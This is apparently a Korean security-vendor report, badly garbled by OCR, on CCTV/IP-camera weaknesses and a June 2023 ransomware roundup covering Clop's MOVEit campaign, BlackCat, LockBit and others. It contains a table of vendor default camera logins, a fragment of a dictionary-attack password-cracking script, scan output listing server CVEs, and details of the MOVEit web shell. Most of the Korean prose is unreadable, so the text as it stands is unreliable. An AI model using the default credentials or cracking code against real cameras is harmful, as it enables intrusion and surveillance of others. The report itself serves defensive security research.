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Z A4 fortune business insights

a9 1. 2294 CCTV AR & Jefx!

! fortune business insights : https://www.fortunebusinessinsights.com/cctv—camera—market-107115
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a8y, CCTV $7F 8 djb] R HeE Qlxjoz Qg Z1E Hel fj@o]l TAst 9l

2016 dell= CCTV & HIER T 7I71€ WdeR Hil 345 Adste] E9H, UEdL,
TEEYZ 5 F8 YAP|EZF wpHlE mlgto] Rul? i) Abdol WA Hb glow, olefe=
=W A= of 40 Wohe) dui=rt SR s WAE sieEE Sl AE 930l fEEd
= S AP (2022, A 78 Rl faEe] Ale el #EE AHd20239) &
A s AEZE Slmer A ofA™ g'] FRCA oA oAl CCTV siAde et
Atolu g A AHE FolE 4= oA HWA CCTV Heto] thEQl Abgl o4z Weoaw Jrk.

ofo] wrzt CCTV Het eko] dieh "ol #edglol ZFx=i . CCTV HSF ARLE 9]
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B EQST 1% CCTV A&
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NO. T ZpAL HobdAlo] FICHS o |y KISA A= Q1|4 SOOI {IoT-SAP) 7| &
= OO~ HSIMEl ZQA| A1EM 7 =
; T e o EI—E.)—._‘IEJ:J I; _IE;E:P;;E | E2EH 715 HE 65
SEYH 25 H|BIZEAHD| LS ZE I 2K
2 - =0 =P BAHLUE F2 65 O [HI2I7IAre] SCF & 2 QI IS 7|5 HZ G%
3 U0 =2 7= 62 8] -
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8 HEg Y EOFEE LE S ] -
9 o H Y FeEE BELE O O [QIEHE olH E 9 SO~ HE o8
10 ® AATC Y SEFHE E HE o -
11 CHIZI Y SQEE LE HE - o -
12 5QL Injection o - -
13 LEmY HEL o | 0 [MEMIE RE
14 SEEED O EX4 BT HE 0| O [HHOEFTH °' HE M-SR ED 0 R
15 MY C2=C o [ - -
16 QEMIEH OIS ANATSFHSI LEHE | O | - -
17 SERH BEHE 0 | 0 [MEHIE HE L
18 XML SIS ZEH TF (KXE) o [ -
1 ZICIO[EE 7|52 0|25 T4 =& o [ - -
20 LDAP Injection o - -
21 S5l Injection o - -
= B AMHA U SOHE FI A MSA MY HST AT A2 F AT HB AR
i === B Es 919 A=z zens s A AE RS 93 4SPE 3 A 45 05 4B 0%
23 | iy~ zs |[MESSE 0| 0 [ZEEAEHE SS A= Z AL s 42
24 HLHS’-H'I Eic’ (Buffer Overflow Attack) o | 0 [MEHEZY HE gE
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CCTV gt oL stegojel AmEQolE BERS £ Qlth. st=Edojs tupo]lA YHo
AYELE 5L Adsts gdoln, ATEQol CCTV(IP Camera) TiHPoO]A A T2 124
T= AA =2 35(9: lighttpd, Apache)2 dsh= 9ol

SEflo] el dutols YR WE B T R Aug 2
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WA CCTV &= #HHfASl oA F44
eed "HFEEe CCTV & &

ARgRtol wep e)Fof g Qi weba CCT
w7t ¥ FasiRt

off= CCTV ¢ 37 B¥g 2 Ul 7Hxe] g0z BRY ek

S z4 Y
SIEQIY B2 MCU, ROM3, C|H1 ZE
MHA BHS 2 MH|A, 2HFY MH[A, 7|EF HEQIS MH[A
O| &%t Q15 ALBAL Q15 HE
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D st=dol B3

IC Information(No Project opene
4. ChipType: EEPROM ChkSum: Ox1¥FE0 0000

w25Q16CL

W STATUS REG.

Ade 1 Wl 2&aiw dul ol AtE Falo] tufola B
=} ofu), Mrke ®et o] Holglx] Friv 4/ HE 2t wWelo] 4 ¥
Ao Ae ke Ax £4FA Aol GESA AL o
A7 WA olFo Ao} gt

ek

3 ROM : Hlo]HE A3} 918t vl3184 A% FA(e]: EMMC, Flash w|2a)

“ e QoA ¢ dHlolEE AAsly] Agt vl A4 A (A EMMC, Flash vz2])

o

Hopula RE 2¢ ¢ 10T H4 0SE APy §18) AHgsh= F8 7= (of: PC CMOS)
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Zol 7| wAe] wet 9 Auzsek 2ot 4e Fo) CCTV 94
23 choFeh EHT Auls olgo] shssltt. thut, mutel 9he o CCTV
S, A% @ A Ak ATl gAY Cluol 2B oG 4 glo] Folrh Wasith

80/tcp open http lighttpd 1.4.18

| http-server-header: lighttpd/1.4.18

| vulners:

| cpe:/a:lighttpd:lighttpd:1.4.18:
SSV:4168 7.8 https://vulners.com/seebug/S
CVE-2013-4559 . https://vulners.com/cve/CVE-
SSV:61980
SSV:4167

https://vulners.com/seebug/S
https://vulners.com/seebug/S

CVE-2014-2323
CVE-2008-4360
CVE-2008-4359

https://vulners.com/cve/CVE-
https://vulners.com/cve/CVE-
https://vulners.com/cve/CVE-
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CCTV %14011

*}%Q% APL 7| )2k A AEY

el L = =] = =] SIE=EF A
EH] O, FA% = s AEE o8& 7171 &Y =2 &
L5} Q ol iz = olg 1 A0 S oF o)== =
ES, # Aulo|xof Hit HEE A AEE sty A4S AlEstal dotdl QlF HEE
a3k 2~ o Al +O o —EO°
ZIgte 2 AlA"e] HIT 4 Qlo] Fort "asith, AA|2 Mirai, Mozi oF 22 JAJFIEE2
BE % = 71 O] 5] 0] (e == L o]=
=54 o9 1oT 71715 44 A7171 Slsf CCTV o ditdor A AMgHE 5 HEe}
3L T O UTI1H [e)f A= 0 ol kel
HEZE A% 45 5= 72 ddskes BAs AMgsl 345kl .
Lifint%m_nfry»:\t m.:.k:pm(wrdd . Sn. | CCTV Company| Default Username | Default Password | Default IP Address
: 1 Hikvision admin 12345 192.0.0.64
AR = e _ 2 ™vT admin 123456 192.168.226.1
.password_hash = hashlib.sha256(password.encode()). 3 Sony admin admin 192.168.0.100
Lf.success - “The password was found: * 4 Samsung root 4321 or admin 192.168.1.200
.fail = "The password could not be cracked " 5 Samsung admin 4321 0or 1111111 192.168.1.200
6 FLIR admin fliradmin 192.168.250.116
7 Avigilon admin admin no default/DHCP
with open( 8 Panasonic admin 12345 192.168.0.253
r"yourpath" 9 Panasonic admin1 password 192.168.0.253
encoding="1 10 ACTi Admin or admin 123456 192.168.0.100
LIS O L ) pass or no set
11 Axis root 192.168.0.90
for word in words: password
word_hash = hashlib.sha256(word.encode 12 Bosch service service 192.168.0.1
” 13 Bosch Dinion no set password 192.168.0.1
57 CLLERD = p e U 14 Vivotek root no set password | no default/DHCP
return . Success + € .pdsswur‘d
15  |Arecont Vision admin no set password | no default/DHCP
return .fail 16 Honeywell administrator 1234 no default/DHCP

a9 7. A diYd 34

o]
=

AZAE 27] ARER

=4 cctvdesk®

CCTV & Z3d Be T 3t 34 25 A Agsel 9k 7% A FuE AZA A
Agse Wird R cgde So e 4 ok uebd, 2R gy AL $A) S
Vg Fe Pwe ARom HAHe] b GEE WA Aot @A @e AZAEe)
Hoke o] gal Ag 29 A HUNEE AURRER gmastn . A=
MAREE AYT 1, 9% Bt A4S S T ARe] gk welg It Abgs
Pt 59 xS B £ £F9 HAL 4AF 4 AT UL Foefor Fetk.

6 cctvdesk : https://cctvdesk.com/cctv—default—password/

EQST insight | 7
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Zag dolgg s e IS Fd F54 sk 49, A% ol
A~
T

[ [http BHEl -]+
Mo, Time Source Destination Protocol  Length Info

2487 35.782157 192.168.1.28 192.168.1.7 HTTP 60 HTTP/1.1 20@ OK (JPEG JIFIF image)

2503 35.982429 192.168.1.20 192.168.1.7 HTTP 60 HTTP/1.1 200 OK (JPEG JFIF image)

2518 36.183236 192.168.1.20 192.168.1.7 HTTP 60 HTTP/1.1 20@ OK (JPEG JIFIF image)

2534 36.382182 192.168.1.2@ 192.168.1.7 HTTP 60 HTTP/1.1 20@ OK (JPEG JFIF image)

2548 36.582209 192.168.1.20 192.168.1.7 HTTP 60 HTTP/1.1 200 OK (JPEG JFIF image)

2570 36.782237 192.168.1.28 192.168.1.7 HTTP 60 HTTP/1.1 20@ OK (JPEG JIFIF image)

2584 36.982100 192.168.1.20 192.168.1.7 HTTP 60 HTTP/1.1 200 OK (JPEG JFIF image)

2612 37.182152 192.168.1.28 192.168.1.7 HTTP 60 HTTP/1.1 20@ OK (JPEG JIFIF image)

2625 37.382197 192.168.1.20 192.168.1.7 HTTP 800 HTTP/1.1 200 OK (JPEG IFIF image)

2644 37.582102 192.168.1.28 192.168.1.7 HTTP 60 HTTP/1.1 20@ OK (JPEG JIFIF image)

2658 37.782106 192.168.1.20 192.168.1.7 HTTP 60 HTTP/1.1 200 OK (JPEG JFIF image)

2674 37.982347 192.168.1.20 192.168.1.7 HTTP 60 HTTP/1.1 20@ OK (JPEG JIFIF image)

2694 38.182155 192.168.1.2@ 192.168.1.7 HTTP 60 HTTP/1.1 20@ OK (JPEG JFIF image)

2787 38.382164 192.168.1.20 192.168.1.7 HTTP 60 HTTP/1.1 200 OK (JPEG JFIF image)
- | 2723 38.582107 192.168.1.28 192.168.1.7 HTTP 66 HITF/A.1 7988 0K (IPEC IETF image)

~Z0TS 28 0STE0S TOZ. 168 1. 20 o7 TGS 1.7 ATTP7X. 573 HITP/T.1 580 Internal Server Error |

8@ 90 9e 9d bd 48 0@ 26 eb aa @c 87 @8 00 4
080 2d dd 8@ 40 0@ 40 @6 d9 de c@ a8 @1 14 c
@1 ©7 8@ 58 2f cb 5b 52 cd 89 3a cl 28 17 S

Frame 2723: 6@ bytes on wire (48@ bits), 6@ bytes captured (480 bits) on interface \De
Ethernet II, Src: ap:8c:87), Dst: Critical_9d:bd:4@ (00:98
Internet Protocol Version 4, Src: 192.168.1.20,|Dst: 192.168.1.7
Transmission Control Protocol, Src Port: 8@, Dsf Port: 12235, Seq: 79213, Ack:
[9 Reassembled TCP Segments (7924 bytes): #2711[215), #2712(1468), #2714(1468@)
~ Hypertext Transfer Protocol
> HTTP/1.1 28@ OK\r\n
Date: VWed, Nov 89 2022 20:26:08 G‘ HTTP 2l W o[0jX| & 7t
Expires: @\r\n
Cache-Control: no-cache, must-revalidate\r\n
Pragma: no-cache\r\n
Content-Type: image/jpeg\rin
X-Content-Type-Options: nosniffyrin
Transfer-Encoding: chunked\r\n
\rin
[HTTP response 18/11]
[Time since request: ©.8781310@0 seconds]

Frarma (RN hutast Rrassamhlad TCR (79724 hutes) Na-rhir+ s

a9 8. HTTP Z2EE Y J&2 JAAE b &

AR CCTV fHfolA GAAEE HTTP ZREZ’Z Ml A9 MITM? 7]H-& o]8s6to]

ZRES GAYRE Pol2 F2T 5 A Uik A 94 4BE qEsh) God A70E4e
a7t AT 4 vk webd CCTV 94 3He] Heke Slshd: MDS?, RCADS FoRet

THTTP Z2EZ : AeU4lA doleg F1 #7] 93 Au/ZeteldE Rd B2 2a2g

® MITM : Man in the Middle, FAZ7} A-g2ke] QUEldl Aeior s AElul Eefy o] 227 Aolo] 7]oj5o] Hloje] A%-&
7t2Ae 34

’ MDS5 : 128 H|E 535} )4 g2 1996 d HAA Ago] WAste] A s ATg

10 RC4 : RC4= 1987 W RSA A|Falgle] 2UE glolH|AE(Ron Rives)ol| 23] 7t ~AE® g & 1995 WRE SSL o] &
ool TRER
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Aot LAIEFS AL hAt gos LuIEFL AMESte] A dostE WS

m 23

L CCTV ¥ [oT o "t £9 =719} a7 AFR 7he] dAZAAl, mo)KA, 718AlS SHstxt
topsl 9B A lio] AT 9l Ia} SRA 7o ZHokdS okgst Atolw] mAm
o4 BYUGlol WS Gu glov, olulst ABA TS P AU AHgAEol
CCTV @ loT et Abqe] g e 2k1 ZoFde Adst 4 o o] Wasi)

EQST &A= CCTV ¥ IoT £ o]&3%t Alo|d 27 Hl&3d}7] _,48]] }xﬂ;q 0@ [oT Z‘l‘i’r
71%S st AL APt gl

1EsHe st ok AAIRE W82 EQST IoT I 7ho|= v.2.0 oA :?_]—5; 2 o)

EQST 220l detsts
loT ZIEF 7H0|E 2.0

A\ za

(23] M2 CL2EE HI27}7|: EQST 1&50| HQHst= I1oT ZITHZIOIE 2.0
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https://www.skshieldus.com/download/files/download.do?o_fname=EQST그룹이%20제안하는%20IoT%20진단%20가이드%202.0.pdf&r_fname=20221208180429878.pdf
https://www.skshieldus.com/download/files/download.do?o_fname=EQST그룹이%20제안하는%20IoT%20진단%20가이드%202.0.pdf&r_fname=20221208180429878.pdf

B FaApolE

url: https://www.lighttpd.net/

url: https://www.fortunebusinessinsights.com/cctv—camera—market—107115

url: https://github.com/DataBach—maker/DictionaryAttackExample

url: https://cctvdesk.com/cctv—default—password/

url: https://book.hacktricks.xyz/network—services—pentesting/554—8554—pentesting—rtsp

url: https://www.wowza.com/community/t/encrypting—an-—rtsp—stream/36108
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Keep up with Ransomware

Clop, #2PY o8 W2 3% A%

20239 6 Aol Tal Atel]l = 439 7S 7)E3Th o= HML(G08 ) tiH] 69 A A2 =
oA ZaAE Holal ok Al 5 9 Aol wfsf A7F wo] yERd €112 Malas 7F ofw|
E21& Zimbra Collaboration Suite o g FFH(CVE-2022-24682" )< °-&ste 171 719
e 34 A4FAIF7] dEolth

ol dof AL Tt o]4= Clop ©] & FPgrh= Aolth. Clop <
At 243} 4dof ofof 6ok TR FAS At Aoz FRIF Clop2 Progress MOVEit
Transfer ©] F9FA(CVE-2023-34362"12)E ofgal moizt=2] HiolHE tad f& A|EY
AN S48 a3k 2021 | 7 Yok CVE-2023-34362 & o183t 324 HAEEZ 233t

Aol ERNE 5 Clop ©f o[l T4 Fasty] gIs) ol /g Fuld AoR M

FosE ol APOE AT WAREY HolHt fF AolEd] A&HoR AAE FHsAol

ool & o FAF Past ek olAg Clop ol ol oifm FHo2 18) ulF 5= Clopel
5 A

= (@)

et JEE Agste AFelAl 1,000 7F €29 ddee ASdnal 9en sApee] wiol
O
=

gk LockBit o 52 2t 5 dof Hls]| tha FF3 S HYou, it &7 ¥r=A A=
4 TSMC(Taiwan Semiconductor Manufacturing Co.)2l T dHolgHE tae| F/HT
ojgfal gHlstH, Fgto= 7,000 7t EE{(@tetz of 905 ¢ €)E &7t ol LockBit ©f

A7A] vl=r 7192 iAo =gt HolgEQl 4=elo] 9,100 T E7Ql Hg& SIS o LockBit 9]
@A 947t drolgodA]= ool

meh reh o N d

11 CVE-2022-24682 : W37} Bakexjo] Mot ALUAEA ATYE F=E AP8 4= 9li= Cross Site Scripting 24

12 OVE-2023-34362 : 9 4] YR2EE 75817 5= SQL Injection #oFd
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BlackCat(Alphv) &k & PHE Holal Q. BlackCat 2 2 ¥9 il
Reddic & BAWCT WAt 0% 4 97 6 Lol Reddit Zo FAE AT olAE
Aotk Reddic of o1l 53597 ok 4 Alol S0G ol 4% :
goltg f&aAnE oAk EAlth SR Reddic 22 BlackCat 1-3—01 04 So @
2o A4 F8E L, 48 WHE HAREE 8o ez=yAs
et Al et FErt AUl 95| HA UA-Fo] A5l gl

T— =

Clop ¢ FoFd o8 MOVEit &A1} BlackCat 9] Reddit &4 Ao FEHL @4
Ao ARgStA] gal HlolE] G| FHS Tt Holth ol9b HIRE ARZE ol
A, A 1 9 BianLian &2 AFC] HO7|] Avast 7F Ao Bo3f =& S0

Aol E FE dlolel HB3t thilo] &4 HlolE] FHE LAS HEFH o=
O5E0] d33kE AR Hlole gHE Fo = AlEC] HolHE Aot Eik
FHEE FZo)d YSE & & Aok T o5 WAl AA A2 A #
aokom, Atold] WAoA g ARGEI QI EI AH|AF a%*é—‘?m OE0 54 ol

of 9o 6 d T FF2 AW WAl IFC=+= 8Base 7F Urh. 8Base O =
OJEEx 5 ¥ IVEIOL, FE AolEo| 2022 W 4 ERE X Aor FAHNE {&
187 285] 535 Zoletal FAEH 8Base = 6 dofvt 444
Z 115 A9 7% dlo|HE AAIStL QUtt. S 8Base & 45 Ao|EQ] A AMEAL HAgH
%d EQ} /HH]/\ oFro & Q18] RansomHouse oA H|EEH TIFoleh= 7FeAdol A7|=a Qi)
thet 8Base 7} AF85t= SmokelLoaderS &5 2EXE= AAE H Phobos @AYol AH|AT
Addlel”] wel, sid Ao ARgRte s A&E UBe XREE HI|= oz FH
AT webA] ob4] 8Base 7F of® 1FCIA HIERE A=A B AV]= ofHH.

6 Aol 2 FAH WY o] HF F 5 Tk g lo]= Royal -] ]‘394 Linux EtZ
BlackSuit ©]t}. BlackSuit SAo]l= Windows 2 Linux A|AH BEE fjAtor = HEAAS

2850 ek olF ddf WAle AEdon, o ¢este] AES WAle E.%’é}%iﬂ 42} e
RSA 2 Hogiot, =3, 714 oooks Fof dosh ZeAro] 8 FIAAH.

BIAB: 7] 4% A2E wjsts A F2 Het

1 SmokeLoader : Z@% Al2glo] the SHICE theRE shey Agshs dAIE
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ot Al el I35<) Lapiovra 2+ NoEscape 7F 2ASTE Lapiovra 152 vl=2] Yk 7|4
A4 7199 & dHelHE AASHH 5= AT Lapiovra T1E°] AREShHz A=
Config dlolg], AFEAF] 7]|HE Qo] A C&C URL A4 FH -5 REvil(Sodinokibi) &9
Aol fAdol Bof olF ZWtem AAE Aol FEET NOESC&PC g ofd 2o
AT T8, 1S, AxY T o AY EokellA 7 A9 /& HolHE A &iddl
Holil Qlth. NoEscape #A o= ARIAY sHAol= I mdo] ol EAdes
= 4 2 :HHLEZ} Avaddon AL olet FAFSITE NoEscape &= Windows ERAE]
ot ofyzt Linux, ESXi A|ARE BElO® oh WS EIF H{SH Qled, &
Windows EFZl s Hlofoll A= Reflective DLL Injection® 7]¥-& AMESHtHE EAL 7123 Q.

ol

et FYoAe s FekstAl TEEHIT e MS-SQL AHE SR dh= Mallox
A Yo7t SxE 1 Qrh Eoldt AL EXE nfg® ozt BAT ot AT AFRE 1 Qo=
Zolth, BAT 12 Windows oA AREE= AFHE mpdz2 7o) e 2Asstd o F2
ALgRt) olE Fofl mefdll ATIHEE Adgcte] HPIE Ho|R2E Hgo| JheotEE, FAR}
dFNA G2 f3IE sl ARERTE o] ol&dl Mallox Aol FHoFet AlAHElOA
e 27 ZHo) tis Brute Force Attack!®©]ut Dictionary Attack!’-& 49§35te] %7]

skt
HAEE FJota Ut
E3E Crysis A OlE AFgol= F°] Feket RDP & B3 9A] Brute Force Attack ©Jut

Dictionary Attack 2 A HAHRE % 535to] Venus SIS FES HFo] SIS} o]E2
Venus @AY o]E xSt TE A7, Mimikatz Z tol U EfZ S4s
WPAZ . wEb A Crysis A= <lsf HsiE A Mgl Hubd H¥=
gelgh "k glon, SHkE HAfs AAS mEil AAH HHhor fFAste Ao

o1 =
a3,

9 o F
mﬂa
rlo
ki
-
il
e
o

il

—_—

13 Reflective DLL Injection : A&F<¢ Z2A|20] vale] DLL o] slolel& 4<)et & 24 vjgste] APA7]E 714

16 Brute Force Attack : &5 E7] 95 7153t RE 2 dYsts 7|9
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1 -> Clop, MOVEit Transfer M| 2L|0| & Ci 2 H|0|H EF 0 24

) -) Clop, MOVEit Transfer 3/2I%& 202195 E| HAE? H2 ol

3 -> BlackCat(Alphv), Reddit H|0|E| §& 2/€

3 -> Rhysida, 23 ZCHOIA 253t 2 92

) | -> 0] 20| A LockBit A|YAIR o|Alg|= O|X} 7| &

)
I
>

infosec

Q s} AlASlO|N 20 24 5 202145 H HASE U ol

( BlackCat, RedditOf| A Er#|Tt 80GB AtEe| 2= I:‘||C’|E‘| "‘7H et

() ¥ 8= 40| 3= 27of ei=g

() © 360000742 &aj| S 2 BA H|A|, RHAIS0| 2 GO|E T 30% BHHCID T3

(L] Cobaltstrike S8 AF8310f HIS2I3 22l = Ausof Hol2E £2

* CobaltStrike : c!% ’é!—?— EiIAE E—F EL HP“UI ?HE|01 J15.:.'

(J DI =27 Clop #u90 1€ ¥& M2l gy Mssplz e
(7) ClopE BIE3t BT Ch2 HEE HEST| 92 M 25
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(_:] LockBit 1&, TSMC AL 1WA (Kinmax)'2] L5 == 220 E26to] GO &2 =
71"”" E"F—Li—l :LO“C, R—_rl .......................................................................................................

) -> A 0] BAHXL, A 3tH MEHS sl 22LE Oto|d M|~

(Q o0l 7/ere £ APT430| S21PC D0|d MHIAS AFS0] OIE| ZUM S8 = Azaim At

() Bel2cnjojye gzoz Aolg YRGS Y B2

() X3 548 2oop BE0 30| Aol sysel SeE O bE
mhoj

(Q Xollam, of Ms OneNote TU® Motz ot ad g St
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infosec

’ New ransomware variant

STOP : .nerz, .neon, .neqp, .ahui, .ahtw Phobos : .8base

.ahgr, .bhtw, .bhui, .bhgr, .agvv Babuk : babyduck
oD

Dharma : ‘NER, thx, .mono Medusalocker : .busalock53

Chaos : .minime, WAGNER
’ Snatch : TMRCRYPTOR, .qgxtfksIrf
o BlackCat (Alphv) ’

New ransomware & group

o ’ fjﬁi\ Lapiovra, NoEscape, Anti-US, Tuga, Havoc, Resq100
©:

OIS ' O —

O DD o _)

O DD o -’

O e -)

[5)#sres > 4 ol_)

M=z A9

L NLWLUMUG LA IChS E ANIIVL CRRIACT S5 N

NOESCAPT

WELCOME TO NOESCAPE BLOG

T e s e sl ssmmmhnl e daloes Saogaonioa el clwad T el wi booe
1 itttk A Bee bl Al 2 ] G0 D AT A, o] 60108 81, ko 1510 L IR it 0 AN 100 TN ST
MEWLOMERS

e companizs {kat refuse te zocoarate wth s We il gzt publihing dher dzmascon

I EEE .

Insert ID from Ransom Note: | || Submit Query |

- ) .
Thls Is La Plowa Rﬂnsomware’ dIea.l'l'JS come here o dle- YT FeT o R hvs B0 MEST IPRATE 4+ Pave MrRR BT 1T DAYS RN

*Z 2. Lapiovra, NoEscape @90l I& AolE olu]Z

2023 ¥ 6 4 Aol Taf AlE 439 Hoz A 5 d 508 Aol W] HwEH He 5

Z1ERA A% B RF Aot 28] Sl 9lol XS] AT Aol ATt 3

HAel I5EL HdMl 3A4S A% 27 AF WA w2 AT Ade FASISHAR,
seole Aol AeAZE 2Aet=HA ol2fet o} ¥ieksly] ARt Aol APEA ol
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2ATY. oS0l AANE Bl FAL $AUL Aol ADANA LF oA 57
Ao 94 v Hefstnl, FAAT} AL SAT A FUo| FAL S8 2% uew
TAANA e 5 U4 Auas 5o AFS M@t olelst AR AFY BANR Qe
DA TESE 27 AEE AT w2d] 4TAL S A B ol o]F Ba wAZ
gare] gL A & 9lof gldKel AT et

6 Yol A" FEI gt HE AAYol: Linux 7]89He] BlackSuit Aot} o] iAol
Royal sHAdlol IEo] ¥83t= sHAOI= Windows €t Linux 55 B CR oh= 4o =
dex Qloh. EF HiEE 9I5| IcedID ¥ 9F Emotet V& 2RHE AMgShs WS NE Folth
BlackSuit dlol= vroly ] ot Hw =g Foll &Rlsh Ax} of 98% oSl fAIEE HY
42 Royal Al IEI FAMZol FAs] =t BlackSuit 2 ©FZ Royal s golwtE
GG A] Fokoy, A&H] HAEE AX ¢lo] % BlackSuit 2 #HI:Go] o]FojAZ],

=4 270] RF5E RYIAR ASTAL 23 o AA¥el & 4 US R0z FHH

o[ oo "A" Mgt WHA-He] IF2 Lapiovra, NoEscape 7} SQltf. 73], Lapiovra
REvil(Sodinokibl)) FEg} JFet fAFES HQlth E35], C&C URL A FEt EF <o
ALgShe AREARS] oF28FE #Stal Config HlolE HA F27F FARRE ol &<l 5
REvil(Sodinokibi) A e]e] ZEE FYstAY Aot Azt sdflojetal 5

NoEscape 152 A&HHor AH|AY dHHMdE Tl AL RS SHSHL ek & 179
FEE AR gl C++ o=z A Rt Al E AHgska glom, ChaCha20 I RSA

diPEe YT stolHE oot Wae AN HEo], Windows @F Linux 3 VMWare
ESXi §4& RF AYdte 545 7 ok EF AlGAPE F7E& AEsHE DDoS &
PP 4 e MHEE AlFstEd, ol 71E ol ddel "s DDoS s4& & F71 @<
st wsfztel Al B AL FEE FEAZ 7ol = @ o2 CIS =717 9
Hde dere 3§48 3K =5 =42 73 o), §4A7F CIS =7ket ©do] &
T QHal F5E £ o

B lcedID : 32 719S ez 24 ARE A= AT o1 & YT EE AGsALY 271 BES eRE sl odFTE

[in

19 Emotet : The OMTEE therEsla Ak Y AgEE Exo] Eu

0CIS 27F : a¥0] AR EYTF F7HES] FA|E. Aok, Bl WalRs, S2u7| A, SAEAT Fo] XFY
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o= S5k LockBit 2 o153 W2 9] siAE A7 Qlvh. 6 E BA, LockBit 2

gt & vreA] Az 719491 TSMC 9] 9 dlo[HE thaslol 7istAal deshy sates

ol Y& 279t I8y Kinmax 52 #<91 2

0] FFlES A HAA, F=E W2 IAE A 7]
E i3

ol AEA Tops Wil 54T 8Base £ 1 ¥ 5 = 3
zAwo] gor oW BEL olo] YA ofAR Wast 9k 8Base
429 Babuk ¢ ESXi BIZl #WE HHL-EQ} W $ARES FTHstn gov I
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BlackCat(Alphv)2 6 4 17 ol vt a9 F& Ate|Ee] Reddit o] Wt 2= AU sf

At 2 o] Reddit & 523k HlolHE FFSHAHIL F45tH Reddit S0l @4l &

dolHE §&2 dAolzte A¥e Wi BlackCat 52 8 7'd dlo[el7t @7 43t &
= HFSh dual FAskal 9lom, Reddit £ 45 dlolHel A~ =

HAFATIL FSEaL Qo] oba] of® ARQIA] mpefsrlols 22w A%oltt. Play s 9ol
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m iMoo A= EHA

Clop ©] MOVEit Transfer

3) Progress’
MOVEit* Transfer

CVE-2023-34362

Clop #Aflol= TAS05 2 A= IFo] &8sty e WA=, 2016 W 3 9 2Ad
CryptoMix A—?Moﬂﬂ Astd WAdoltt. o] 15 IFEd] HFEL 5 dR 34
A Qedl, Ad 2 ol md HE EFARI GOAnyWhere MFT ¢ FeFH(CVE-2023-
0669 )& orgste] F4L YT AL AFoR 4 Yol ZRE &FMQ PaperCut 9
FoFH(CVE-2023-27350 2)& §& 342 6 % ot @Y AE £2H Progress ©f
MOVEit Transfer ©] FFdg otgate] gt FA9 njs) AlE FF AlC|EC Aoz
A Qi Adgolct.

o

—_—

M MOVEit Transfer 8449 Eo]d-2 s o]E o] 83 dadl H=FS *}33}1] OPO*‘:}“
oltt. Hlo[HE Yol thile] EHsh= -
B FoA dlolE ¢4Est 4l dioje € E o A

ro m

21 CVE-2023-0669 : GoAnywhere MFT oA 43 4 Q= 914 3= A3 Foby

22 CVE-2023-27350 : PaperCut oA WMt 4= gl= 94 3= Ag Foky
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Clop ©] MOVEit Transfer &2 A=F

infosec

Initial Access

MOVEit Transfer2| # 2+d

Persistance (CVE-2023-34362) %48

H

Privilege Escalation

¢ ug 58
Health Care Service
AY MHEoE X5 |7

[Tiise ]
[Trsos.003]

. g Health Care Service

Defense Evasion A" wdS B8 pax A 44
W AT A

o Wol o B8 P4 TUS T

w2 HB 4d

[Crisee ]
Tors ]

Exfiltration

U A S HolH RE2 TS5

o

Clop & MOVEit Transfer ¢ F°F8(CVE-2023-34362)& °}-&35te] & €S gRdlo] T35
TAS FPAUct ol AMEH @ A2 MOVEit Transfer ] 748491 human.aspx & 7Hg
human2.aspx 2= o502 d2Hn o ¥ de 2&54-& FX|oh Health Care Service 2F
AR Ae ol THA ABE AAste] A s = B4 dol" 2 Azure of AEE oY
2R A7lel F% sl AL A4S Wafisty] s At AXS AAlske AEEE Bt

o T
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Clop ] MOVEit Transfer 54 Al .z

infosec
=
4. gzip &% HEHR HOJE H& {0}
LEMURLOOT # ¥
T - ----------------- 1
N
1. SQL Injection2 2 LEMURLOOT 4 g=e I v Microsoft Azure & ZM :
1
> |
® 2 A U Yolof 367t YT A | v CIO|E{HO| A M |
—
1
; 4| 24 AH I
MOVEit Transfer : v MOVEit Transfer Al 5 24 |
2 ofZa|H o] M A |
c#eH o8 : v" Health Check Service A7 44
|
2. SAXT B-E AdZE X-silock-Comment 8|HE MY I el Gtk

Clop & MOVEIit Transfer 324 #Wro] d3he s5}= LEMURLOOT gH= ¢ A& AHof SQL
Injection® F74& 53] At T & L2 MOVEit Transfer AR H2ET dlojg <}
Azure Storage Blob? ARE I3 242 1S ©FlE 752 st Wofo] digt HH
HTTP @4 o 2 Ado] &=y, X-siLock-Comment JHE E5] FZHA7} Q5 4si

@ Microsoft Azure A|AE! A7, Azure Blob Storage, Azure Blob Storage |8, Azure Blob 7| % Azure
Blob Container® ZAM3st1 DB LHS| LEE YAHBIC}

@ JAXIF M&s 2AGD LR[S 2XYS 0|20 2 Zt= OHYS MOVEit Transfer A|AEI0]| A
B Yo|z MAME=| Af-Q-Xf O|E1} “Health Care Service"2 M E LoginName 5! Real Name #t2 A&
St Al 2t2|At Aot A" S Bh=C

@ LoginName % RealName 20| “Health Care Service’Z2 HEEl AE2 AtA$HCt,

2 SQL Injection : FAA7} etel®el SQL ZES Jsto] dloleluo]2o] b dMAE 5ok 37

24 Azure Storage Blob : Azure 22H9-E @404 gk golElE HAsta Fejstr] g ZHE
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X-siLock-Comment d|Het oA HEH o7t FastA] b= 7-fole Wieo7} EAIsHA|

AA" stz fle 404 Adl Z=P = SHEEH. 1 %, Holy Ho|Afte] AdS
Taotal ¢ do] Fudth ojuf 4= ¥ & mduitt 2] wiEe] thefet loC*(Indicator of
Compromise)7} 4514 Hrt,

gref
o}

r[r _10

A

2404 A ZE : 9 AE7t SeelES] @Al ds) Y BaiE B S ks A2 e oF 3=

% 1oC: AFE A2d &2 JEYAJA W) Ang BHst=t AHgsts AR, s, 1P, }UY Fo] ZgE
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Clop ] MOVEit Transfer 52 GAE of-3 43t
infosec
Initial Access

kol X E HHELR
E9lof

Persistance dolo|E

[ 1150
(11195 ]

e
hl

l!

,_
2
aoor
rlo s
2
oA me
2 It
2 rjo

[ 11136 ]

Privilege Escalation

|

Defense Evasion A7bwR YL AY FL A 2

Me{o| Ldo| ofl 240
CHet el 3L 23 24

Exfiltration

B )
E= ulEgs

= it7) Qe Fekdo] WAH #A
ao] agtaoltt, day, Z74el 2A7} ojel& AFelAs MOVE

208 AEss 79 A5 gk Fepdo) Tjx)g
HAIo) AmESlel AHgo] 1Y Fas) AHgoke AREGlel WAL sty WAL KA
QUSITHA AT 5 o TA FHllANA AT HAS AT AL ARG

#|oFst 13 x| E

MOVEit Transfer 2023.0.0(15.0) MOVEit Transfer 2023.0.2(15.0.2)
MOVEit Transfer 2022.1.x(14.1) MOVEit Transfer 2022.1.6(14.1.6)
MOVEit Transfer 2022.0x(14.0) MOVEit Transfer 2022.0.5(14.0.5)
MOVEit Transfer 2021.1.x(13.1) MOVEit Transfer 2021.1.5(13.1.5)
MOVEit Transfer 2021.0.x(13.0) MOVEit Transfer 2021.0.7(13.0.7)
